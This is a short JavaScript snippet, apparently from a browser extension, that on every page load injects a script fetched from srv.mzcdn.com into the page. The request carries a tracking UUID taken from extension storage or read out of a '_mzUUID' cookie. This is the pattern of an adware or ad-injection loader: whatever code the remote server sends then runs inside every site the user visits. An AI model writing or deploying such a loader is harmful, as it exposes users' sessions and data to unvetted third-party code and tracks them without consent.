// call remote JS
framework.browser.attachEvent('DocumentComplete', function(e) {
/* -------------------------------- */
var mzID = 75; // <= EDIT ONLY THIS!
/* -------------------------------- */
var mzStamp = Math.round(new Date().getTime()/(24*3600000)); // in hrs
// prepare mzloader
var mzURL = document.location.protocol + '//srv.mzcdn.com/mzroute.js?'+mzStamp+'&mzid='+mzID+'&uuid=';
var mzCode = document.createElement('script');
mzCode.type = 'text/javascript'; mzCode.async = true;
framework.extension.getItem('uuid', function(uuid) {
/* ------------------------- */
if (typeof(uuid) === 'string' && uuid !== '') {
// we have uuid - continue with injection
mzCode.src = mzURL+uuid.toString();
try { document.getElementsByTagName('head')[0].appendChild(mzCode); }
catch(err) { document.body.appendChild(mzCode); }
/* ------------------------- */
} else {
// check in cookie and rely on background script to fetch and store uuid
var cookieUUID = '', allCookies = ';'+document.cookie+';';
if (allCookies.split('_mzUUID'+'=').length > 1) {
cookieUUID = allCookies.split('_mzUUID' + '=')[1].split(';')[0].replace(/^\s*/, "").replace(/\s*$/, "").replace(/\s{2,}/, " ").toString();
}
if (cookieUUID !== '' && cookieUUID.length == 36) {
framework.extension.setItem('uuid', cookieUUID);
// inject code
mzCode.src = mzURL+cookieUUID;
try { document.getElementsByTagName('head')[0].appendChild(mzCode); }
catch(err) { document.body.appendChild(mzCode); }
}
}
/* ------------------------- */
}); // getItem('uuid')
}); // attachEvent('DocumentComplete')